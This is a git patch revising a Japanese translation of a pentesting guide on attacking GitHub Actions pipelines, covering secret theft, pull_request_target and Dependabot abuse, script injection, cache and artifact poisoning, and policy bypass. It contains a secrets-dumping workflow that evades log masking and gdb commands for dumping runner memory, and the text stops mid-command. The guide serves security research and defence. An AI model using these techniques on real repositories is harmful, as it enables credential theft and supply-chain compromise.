From fa91da741cf1920db03d41a1a269e719a8bba0bf Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 23:24:26 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-basic-information/az --- .../abusing-github-actions/README.md | 239 +++++++++--------- .../az-federation-abuse.md | 228 +++++++++++++++++ 2 files changed, 350 insertions(+), 117 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 4e7a32485..c006e1021 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,7 +4,7 @@ ## ツール -以下のツールはGithub Actionのワークフローを見つけ、脆弱なものを検出するのに便利です: +以下のツールはGithub Actionのworkflowを見つけたり、脆弱なものを発見したりするのに有用です: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -14,45 +14,45 @@ ## 基本情報 -このページには次の内容が含まれます: +このページには以下が含まれます: -- 攻撃者がGithub Actionにアクセスした場合の**すべての影響の要約** -- Actionに**アクセスする方法**: -- Actionを作成するための**権限**を持っていること -- **pull request**関連のトリガーを悪用すること -- その他の**外部アクセス**手法を悪用すること -- 既に侵害されたリポジトリからの**Pivoting** -- 最後に、Action内部から悪用するための**post-exploitation techniques**に関するセクション(上記の影響を引き起こす) +- 攻撃者がGithub Actionにアクセスできた場合の影響の**要約** +- アクションへのアクセスを得るための**様々な方法**: +- アクションを作成するための**権限**を持つこと +- **pull request**関連のトリガーの悪用 +- 他の**外部アクセス**手法の悪用 +- 既に侵害されたrepoからの**Pivoting** +- 最後に、アクション内部から悪用するための**post-exploitation techniques to abuse an action from inside**(上記の影響を引き起こす)についてのセクション -## 影響の概要 +## 影響の要約 For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -リポジトリ内で**GitHub Actionsで任意のコードを実行できる**場合、次のことが可能になるかもしれません: +リポジトリ内で**GitHub Actionsで任意のコードを実行できる**場合、以下が可能になることがあります: -- パイプラインにマウントされた**秘密情報を盗む**とともに、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームへの不正アクセスを得ることができる。 -- **デプロイメントを侵害する**およびその他の**アーティファクト**を改ざんできる。 -- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変してサプライチェーン攻撃を可能にすることができる。 -- **カスタムワーカー上でコードを実行する**ことで計算リソースを悪用し、他のシステムへPivotすることができる。 -- `GITHUB_TOKEN`に紐づく権限に応じて、**リポジトリのコードを上書きする**ことが可能です。 +- パイプラインにマウントされた**secretsを盗む**、およびパイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームへの不正アクセスを行う。 +- デプロイやその他の**artifactsを破損/改ざん**する。 +- パイプラインがアセットをデプロイまたは保存する場合、最終製品を改変してサプライチェーン攻撃を可能にする。 +- カスタムワーカー上で**コードを実行**して計算資源を悪用し、他のシステムへ**pivot**する。 +- `GITHUB_TOKEN`に関連する権限によっては、リポジトリコードを**上書き**する。 ## GITHUB_TOKEN -この"secret"(`${{ secrets.GITHUB_TOKEN }}` および `${{ github.token }}` から取得)は、管理者がこのオプションを有効にしたときに付与されます: +この「**シークレット**」( `${{ secrets.GITHUB_TOKEN }}` と `${{ github.token }}` から提供される) は、管理者がこのオプションを有効にしたときに付与されます:
-このトークンは**Github Applicationが使用するものと同じ**ため、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +このトークンは**Github Applicationが使用するものと同じ**で、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Githubは[**flow**](https://github.com/github/roadmap/issues/74)を公開し、GitHub内で**リポジトリ間アクセスを許可**するようにするべきです。これにより、あるリポジトリが`GITHUB_TOKEN`を使って他の内部リポジトリにアクセスできるようになります。 +> Githubは[**flow**](https://github.com/github/roadmap/issues/74)をリリースする予定で、GitHub内で**リポジトリ間のアクセスを許可**し、`GITHUB_TOKEN`を使ってリポジトリが他の内部リポにアクセスできるようになります。 このトークンの可能な**権限**は次で確認できます: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -注意: このトークンは**ジョブ完了後に失効する**ことに注意してください.\ -これらのトークンは次のようになります: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +このトークンは**ジョブが完了した後に失効する**ことに注意してください。\ +これらのトークンは次のような形式です: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -このトークンでできることの例: +このトークンでできる興味深いこと: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> いくつかの場合に、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。 +> いくつかの場面では、**Github Actions の envs や secrets の中に github user tokens を見つけることができます**。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
-Github Action の出力にある secrets を一覧表示する +Github Action の出力にある secrets を一覧表示 ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-secrets を使って reverse shell を取得する +secretsを使ってreverse shellを取得する ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-他のユーザのリポジトリでGithub Tokenに付与された権限は、actionsの**checking the logs**で確認できます: +他ユーザーのリポジトリでGithub Tokenに付与されている権限は、Github actionsのログを**確認することで**調べることができます:
-## Allowed Execution +## 許可された実行 > [!NOTE] -> これはGithub actionsを侵害する最も簡単な方法です。このケースは、あなたが**create a new repo in the organization**する権限、またはリポジトリに対する**write privileges over a repository**を持っていることを想定しています。 +> これはGithub actionsを侵害する最も簡単な方法です。このケースは、あなたが**create a new repo in the organization**できるか、またはリポジトリに対して**write privileges over a repository**を持っていることを想定します。 > -> この状況にある場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認してください。 +> このシナリオにいる場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認してください。 -### Execution from Repo Creation +### Repo作成からの実行 -組織のメンバーが**create new repos**でき、かつあなたがgithub actionsを実行できる場合、**create a new repo and steal the secrets set at organization level**ことが可能です。 +組織のメンバーが**create new repos**でき、かつあなたがgithub actionsを実行できる場合、**create a new repo and steal the secrets set at organization level**することができます。 -### Execution from a New Branch +### 新しいブランチからの実行 -既にGithub Actionが設定されているリポジトリで**create a new branch in a repository that already contains a Github Action**ことができれば、それを**modify**し、コンテンツを**upload**してから、**execute that action from the new branch**できます。こうして**exfiltrate repository and organization level secrets**(ただしそれらがどの名前で設定されているかを知っている必要があります)。 +もし既にGithub Actionが設定されているrepository内に**create a new branch in a repository that already contains a Github Action**できるなら、それを**modify**し、コンテンツを**upload**して、**execute that action from the new branch**することができます。こうすることで**exfiltrate repository and organization level secrets**できます(ただし、secretの名前を知っている必要があります)。 > [!WARNING] -> workflow YAML内だけに実装された制限(例えば、`on: push: branches: [main]`、ジョブの条件式、または手動ゲート)はコラボレーターによって編集可能です。外部からの強制(branch protections、protected environments、protected tags)がなければ、貢献者はワークフローのターゲットを自分のブランチに向け直して、マウントされたsecrets/permissionsを悪用できます。 +> workflow YAML内だけで実装された制限(例えば、`on: push: branches: [main]`、job conditionals、またはmanual gates)はコラボレータによって編集され得ます。外部の強制(branch protections、protected environments、and protected tags)がなければ、貢献者はワークフローのターゲットを自分のブランチに変更して、マウントされたsecrets/permissionsを悪用できます。 -修正したactionは、**manually,** **PR is created**時、または**some code is pushed**時に実行可能にできます(どれだけ目立ちたくないかによります): +修正したactionは、**manually,** **PR is created**時、または**some code is pushed**時に実行可能にできます(どれくらい目立ちたいかによります): ```yaml on: workflow_dispatch: # Launch manually @@ -180,43 +180,43 @@ branches: ``` --- -## フォークされた実行 +## Forked Execution > [!NOTE] -> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に設定されていると、攻撃者がそれらを侵害する可能性があります。 +> 攻撃者が他のリポジトリの **Github Action を実行する** ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に設定されていると、攻撃者がそれらを乗っ取る可能性があります。 ### `pull_request` -ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストが受信されるたびにワークフローを実行します:デフォルトでは、**初めて**コラボレーションする場合、プロジェクトの**メンテナー**がワークフローの**実行**を**承認**する必要があります: +ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストが受信されるたびにワークフローを実行します:デフォルトでは**first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
> [!NOTE] -> デフォルトの制限は**初回の**コントリビューターに対するものなので、妥当なバグやタイプミスの修正で貢献した後に、**新しい `pull_request` 権限を悪用するための別の PR を送る**ことが可能になる場合があります。 +> デフォルトの制限が **first-time** contributors 向けであるため、有効なバグ/typo を修正する形で貢献し、その後 **other PRs to abuse your new `pull_request` privileges** を送ることで特権を悪用できる可能性があります。 > -> **私はこれを試しましたが動きませんでした**: ~~プロジェクトに貢献した誰かの名前でアカウントを作成し、その人のアカウントを削除するという別の選択肢があるかもしれません。~~ +> **検証しましたが、これは動作しません**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ -さらに、デフォルトではターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています: +さらに、デフォルトではターゲットリポジトリへの **write permissions** と **secrets access** を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)を参照してください: > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -攻撃者は Github Action の定義を変更して任意の処理を実行したり、任意のアクションを追加したりすることができます。しかし、前述の制限により、secrets を盗んだりリポジトリを上書きしたりすることはできません。 +攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限により secrets を盗んだり repo を上書きしたりすることはできません。 > [!CAUTION] -> **はい、攻撃者がPR内でトリガーされる github action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります!** +> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** -実行されるコードも攻撃者が制御しているため、`GITHUB_TOKEN` に secrets や書き込み権限が無くても、例えば**悪意のあるアーティファクトをアップロードする**ことが可能です。 +攻撃者が実行されるコードも制御するため、`GITHUB_TOKEN` に secrets や write permissions がなくても、例えば **upload malicious artifacts** などの行為が可能です。 ### **`pull_request_target`** -ワークフロートリガー **`pull_request_target`** はターゲットリポジトリへの**書き込み権限**と**secrets へのアクセス**を持ち(許可を求めません)。 +ワークフロートリガー **`pull_request_target`** はターゲットリポジトリへの **write permission** と **access to secrets** を持ち(許可を求めません)。 -ワークフロートリガー **`pull_request_target`** は**base context で実行され**、PR が与えるコンテキストでは実行されません(**信頼できないコードを実行しないため**)。`pull_request_target` の詳細は[**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\ -さらに、この特定の危険な使用法については[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。 +注意:ワークフロートリガー **`pull_request_target`** は **runs in the base context** で実行され、PR が提供するコンテキストではありません(**not execute untrusted code** ため)。`pull_request_target` の詳細は [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) を参照してください。\ +また、この特定の危険な使い方については [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) を参照してください。 -実行されるワークフローが**base**で定義されたもので**PR内のものではない**ため、**`pull_request_target`** を使うことは安全に見えるかもしれませんが、そうではないケースがいくつかあります。 +実行されるワークフローが **base** で定義され **not in the PR** であるため **`pull_request_target`** の使用は安全に見えるかもしれませんが、安全でないケースがいくつかあります。 -こちらは**secrets へのアクセス**を持ちます。 +そしてこれは **access to secrets** を持ちます。 ### `workflow_run` @@ -230,28 +230,29 @@ workflows: [Run Tests] types: - completed ``` -さらに、ドキュメントによると: `workflow_run` イベントで開始されたワークフローは、前のワークフローがそうでなくても **secrets にアクセスし、write tokens を使用することができる** とされています。 +さらに、ドキュメントによると:`workflow_run` イベントで開始されたワークフローは、前のワークフローができなかったとしても、シークレットにアクセスし、書き込み用のトークンを取得できます。 -この種のワークフローは、外部ユーザーが **`pull_request`** または **`pull_request_target`** を介して **トリガーできる** **workflow** に **依存している** 場合、攻撃対象になり得ます。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は、`workflow_run` トリガーのワークフローが攻撃者のコード `${{ github.event.pull_request.head.sha }}` をダウンロードするものです。二つ目の例は、**untrusted** コードからの **artifact** を **`workflow_run`** ワークフローに **渡し**、そのアーティファクトの内容を RCE に **脆弱な方法で使用する**ものです。 +この種のワークフローは、外部ユーザが **`pull_request`** や **`pull_request_target`** を通じてトリガーできる **workflow** に依存している場合、攻撃される可能性があります。脆弱な例がいくつか[**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**。** 最初の例は **`workflow_run`** によってトリガーされたワークフローが攻撃者のコードをダウンロードするというものです: `${{ github.event.pull_request.head.sha }}`\ +2つ目の例は、**untrusted** なコードから **artifact** を **`workflow_run`** ワークフローに渡し、その artifact の内容を利用することで **RCE に脆弱** になるというものです。 ### `workflow_call` TODO -TODO: pull_request から実行されたときに、使用/ダウンロードされるコードが元リポジトリのものかフォークされた PR のものかを確認する +TODO: pull_request から実行されたときに使用/ダウンロードされるコードが、オリジナルのリポジトリ由来かフォークされた PR のものかを確認する -## フォーク実行の悪用 +## フォークされた実行の悪用 -外部攻撃者が github ワークフローを実行させる方法はすべて述べました。ここでは、これらの実行が不適切に設定されている場合にどのように悪用され得るかを見ていきます: +外部攻撃者が github workflow を実行させるために利用できるすべての方法について述べました。ここでは、これらの実行が不適切に構成されている場合にどのように悪用されるかを見ていきます。 ### Untrusted checkout の実行 -`pull_request` の場合、ワークフローは PR のコンテキストで実行されます(つまり悪意ある PR のコードが実行されます)が、誰かが事前に承認する必要があり、いくつかの [limitations](#pull_request) の下で実行されます。 +**`pull_request`** の場合、ワークフローは **PR のコンテキスト** で実行されるため(つまり **悪意ある PR のコードが実行される**)、誰かがそれを **まず承認する必要があり**、いくつかの[制限](#pull_request)の下で実行されます。 -もしワークフローが **`pull_request_target` or `workflow_run`** を使い、`pull_request_target` や `pull_request` からトリガー可能なワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 +`pull_request_target` または `workflow_run` を使用するワークフローが、`pull_request_target` や `pull_request` からトリガーできるワークフローに依存している場合は、オリジナルのリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 > [!CAUTION] -> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**(base からではない)場合、攻撃者が制御するコードが使用されます。例えば(PR のコードがダウンロードされる行 12 を確認してください): +> しかし、もしその **action** に明示的な PR チェックアウトがあり、**base ではなく PR からコードを取得する**ようになっている場合は、攻撃者が制御するコードが使われます。例えば(行12で PR のコードがダウンロードされていることを確認してください):
# INSECURE. Provided as an example only.
 on:
@@ -281,32 +282,32 @@ message: |
 Thank you!
 
-ビルドスクリプトや参照される **packages** は PR の作成者によって制御されるため、`npm install` や `npm build` の実行中に潜在的に **untrusted code が実行されます**。 +ビルドスクリプトや参照される **packages が PR の作成者によって制御されている** ため、`npm install` や `npm build` の実行中に潜在的に **untrusted なコードが実行されている** ことになります。 > [!WARNING] -> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` ですが、action が不適切に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります(例えば PR を作成する actor に関する条件を使うなど)。 +> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` です。ただし、action が不安全に構成されている場合でも、ジョブを安全に実行するように構成する(PR を生成した actor に関する条件分岐を使うなど)異なる方法が存在します。 -### Context Script Injections +### コンテキストにおけるスクリプトインジェクション -PR を作成する **ユーザー** によって値が **制御される** 特定の [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) がある点に注意してください。もし github action がその **data を使って何かを実行する** と、任意のコード実行につながる可能性があります: +PR を作成する **ユーザ** によって値が **制御される** 特定の[**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) が存在することに注意してください。もし github action がその **データを何かの実行に使用している** 場合、**任意のコード実行** に繋がる可能性があります: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **GITHUB_ENV スクリプトインジェクション** -ドキュメントによると: 環境変数を定義または更新し、それを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの以降の任意のステップでその **環境変数を利用可能にできます**。 +ドキュメントによると: ワークフロージョブ内の後続の任意のステップから参照できるように、環境変数を定義または更新し、それを **`GITHUB_ENV`** 環境ファイルに書き込むことで環境変数を利用可能にできます。 -攻撃者がこの **env** 変数に **任意の値を注入できる** 場合、以降のステップでコードを実行させるような環境変数(例: **LD_PRELOAD** や **NODE_OPTIONS**)を注入できる可能性があります。 +攻撃者がこの **env** 変数の中に **任意の値を注入できる** と、後続のステップでコードを実行させる可能性のある環境変数(例えば **LD_PRELOAD** や **NODE_OPTIONS**)を注入することができます。 -例えば([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされた artifact の内容を **`GITHUB_ENV`** 環境変数に格納することを信頼しているワークフローを想像してください。攻撃者はそれを悪用するためにこのようなものをアップロードできます: +例えば([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) を参照)、アップロードされた artifact の内容を **`GITHUB_ENV`** 環境変数に格納することを信頼しているワークフローを想像してください。攻撃者はそれを悪用するために次のようなものをアップロードできます:
-### Dependabot and other trusted bots +### Dependabot やその他の信頼されたボット -[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) に示されているように、いくつかの組織は `dependabot[bot]` からの PR をマージする Github Action を持っており、次のようなケースがあります: +[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) にあるように、いくつかの組織では `dependabot[bot]` からの任意の PRR をマージする Github Action を持っています。 ```yaml on: pull_request_target jobs: @@ -318,12 +319,12 @@ steps: ``` Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- Fork the victim repository -- Add the malicious payload to your copy -- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. -- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) -- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` -- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). +- 被害者の repository を Fork する +- あなたのコピーに悪意のあるペイロードを追加する +- 自分の fork で Dependabot を有効にし、古い依存関係を追加する。Dependabot はその依存関係を修正する branch を作成し、悪意あるコードを含める。 +- その branch から被害者の repository に Pull Request を開く(PR はユーザーによって作成されるので、この時点では何も起きない) +- 次に、攻撃者は自分の fork で Dependabot が最初に開いた PR に戻り、`@dependabot recreate` を実行する +- すると Dependabot はその branch でいくつかの操作を実行し、被害者の repo 上の PR を変更する。これにより `dependabot[bot]` がワークフローをトリガーした最新イベントの actor となり(したがってワークフローが実行される) Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml @@ -335,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -元のブログ記事はこの挙動を悪用するための2つの方法を提案しており、以下はそのうちの2つ目です: +Well, the original blogpost proposes two options to abuse this behavior being the second one: -- 被害者のリポジトリを Fork し、古い依存関係を持つよう Dependabot を有効にする。 -- 悪意ある shell injection コードを含む新しい branch を作成する。 -- その branch をリポジトリの default branch に変更する。 +- 被害者リポジトリを Fork し、いくつかの古い依存関係で Dependabot を有効化する。 +- 悪意のある shell injeciton コードを含む新しい branch を作成する。 +- その branch を repo の default branch に変更する。 - この branch から被害者リポジトリへ PR を作成する。 -- Fork に Dependabot が開いた PR で `@dependabot merge` を実行する。 -- Dependabot はフォークしたリポジトリの default branch に変更をマージし、被害者リポジトリ側の PR を更新する。これにより、ワークフローをトリガーした最新イベントの actor が `dependabot[bot]` になり、悪意あるブランチ名が使われる。 +- その fork に Dependabot が開いた PR 内で `@dependabot merge` を実行する。 +- Dependabot は fork したリポジトリの default branch に彼の変更を merge し、被害者リポジトリの PR を更新します。これにより、ワークフローをトリガーした最新イベントのアクターが `dependabot[bot]` になり、悪意のある branch 名を使用することになります。 -### 脆弱なサードパーティの Github Actions +### Vulnerable Third Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -前述の [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で説明されているように、この Github Action は別のワークフローやリポジトリの artifacts にアクセスすることを許可する。 +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、ワークフロー内で後に使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点にある。したがって、Artifact が脆弱な場合、攻撃者はこれを悪用してその Artifact を信頼する他のワークフローを侵害できる可能性がある。 +The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. -脆弱なワークフローの例: +Example of vulnerable workflow: ```yaml on: workflow_run: @@ -396,23 +397,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -アカウントが名前を変更すると、しばらく経ってから他のユーザーがその名前でアカウントを登録できる可能性があります。もし repository が名前変更前に **less than 100 stars previously to the change of name** だった場合、Github は同じ名前で登録した新しいユーザーに、削除されたものと **同じ名前の repository を作成**することを許可します。 +アカウントが名前を変更すると、しばらくして別のユーザーがその名前でアカウントを登録できる場合があります。もしリポジトリが名前変更前に**100未満の stars**だった場合、Github は同じ名前で新規登録したユーザーに、削除されたものと同じ**repository**を作成することを許可します。 > [!CAUTION] -> したがって、action が存在しないアカウントの repo を使用している場合、攻撃者がそのアカウントを作成して action を侵害する可能性があります。 +> したがって、もし action が存在しないアカウントの repo を使用している場合、攻撃者がそのアカウントを作成して action を乗っ取る可能性があります。 -もし他の repository がこのユーザーの repo からの **dependencies** を使用していた場合、攻撃者はそれらをハイジャックすることができます。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +他の repositories がこのユーザーの repos からの **dependencies** を使用している場合、攻撃者はそれらをハイジャックできます。詳細はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> このセクションでは、最初の repo に何らかのアクセス権があると仮定して、ある repo から別の repo に **pivot from one repo to another** ことを可能にする技術について説明します(前のセクションを参照)。 +> このセクションでは、最初の repo に何らかのアクセスを持っていると仮定して、ある repo から別の repo へ**pivot する**ことを可能にする手法について説明します(前のセクションを参照)。 ### Cache Poisoning -同一 branch 内の **workflow runs** 間で cache が維持されます。つまり、攻撃者が cache に保存され、その後 **more privileged** な workflow によって **downloaded** され実行される **package** を **compromise** できれば、その workflow も **compromise** されます。 +Cache は **同じ branch の workflow 実行間で**維持されます。つまり、攻撃者が cache に保存されるような **package** を乗っ取り、それが **downloaded** されてより権限の高い workflow によって実行されると、その workflow も**compromise**される可能性があります。 {{#ref}} gh-actions-cache-poisoning.md @@ -420,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows は **artifacts from other workflows and even repos** を使うことがあります。攻撃者が後で別の workflow によって使用される artifact を **uploads an artifact** する Github Action を **compromise** できれば、他の workflows も **compromise** することができます: +Workflows は **他の workflows や場合によっては repos からの artifacts** を使うことがあります。もし攻撃者が後に別の workflow で使われる **artifact を upload する** Github Action を**compromise**できれば、他の workflow も**compromise**される可能性があります: {{#ref}} gh-actions-artifact-poisoning.md @@ -428,13 +429,13 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Action からの Post Exploitation ### Github Action Policies Bypass -このことは [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) で説明されているように、repository や organization が特定の actions の使用を制限する policy を設定していても、攻撃者は workflow 内で action を単に download(`git clone`)して、それを local action として参照することができます。policy は local paths に影響を与えないため、**その action は何の制限もなく実行されます。** +[**このブログ記事**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)で述べられているように、リポジトリや組織が特定の actions の使用を制限するポリシーを持っていても、攻撃者は workflow 内で action を単に download(`git clone`)してローカル action として参照することができます。ポリシーはローカルパスに影響しないため、**その action は何の制限もなく実行されます。** -Example: +例: ```yaml on: [push, pull_request] @@ -455,7 +456,7 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### OIDCを介したAWSとGCPへのアクセス +### OIDC 経由で AWS、Azure、GCP にアクセスする Check the following pages: @@ -463,19 +464,23 @@ Check the following pages: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### secretsへのアクセス +### secrets へのアクセス -スクリプトにコンテンツを注入している場合、secrets にどのようにアクセスできるかを知っておくと役立ちます: +script にコンテンツを注入している場合、secrets にアクセスする方法を知っておくと便利です: -- secret または token が **環境変数** に設定されている場合、**`printenv`** を使って環境から直接アクセスできます。 +- secret または token が **environment variable** に設定されている場合、**`printenv`** を使って環境から直接アクセスできます。
-Github Action の出力で secrets を一覧表示 +Github Action の出力に secrets をリストする ```yaml name: list_env on: @@ -525,11 +530,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. +- secretが**式の中で直接使用される**と、生成されたシェルスクリプトは**ディスク上に保存**され、アクセス可能になります。 - ```bash cat /home/runner/work/_temp/* ``` -- For a JavaScript action the secrets are sent through environment variables +- JavaScript actionsの場合、secretsはenvironment variables経由で渡されます - ```bash ps axe | grep node ``` @@ -541,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally: +- secrets contextを使ってすべてのsecretsを列挙します(collaboratorレベル)。write権限のある貢献者は任意のブランチでworkflowを修正してリポジトリ/org/environmentのすべてのsecretsをダンプできます。GitHubのログマスキングを回避するために二重base64を使い、ローカルでデコードしてください: ```yaml name: Steal secrets @@ -565,27 +570,27 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). -### Self-hosted runners の悪用 +### Self-hosted runnersの悪用 -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +どの**GitHub Actionsが非-GitHubインフラストラクチャで実行されているか**を見つける方法は、Github Actionの設定yamlで**`runs-on: self-hosted`**を検索することです。 -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. +**Self-hosted** runnersは**追加の機密情報**や他の**ネットワークシステム**(ネットワーク内の脆弱なエンドポイントやmetadata serviceなど)にアクセスできる可能性があります。また、たとえ隔離されて破棄されるとしても、**複数のactionが同時に実行される**ことがあり、悪意あるものが他のものの**secretsを盗む**可能性があります。 -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +self-hosted runnersでは、メモリをダンプすることで、**secrets from the \_Runner.Listener**\_\*\* process\*\*からワークフローの任意のステップのすべてのsecretsを取得することも可能です: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 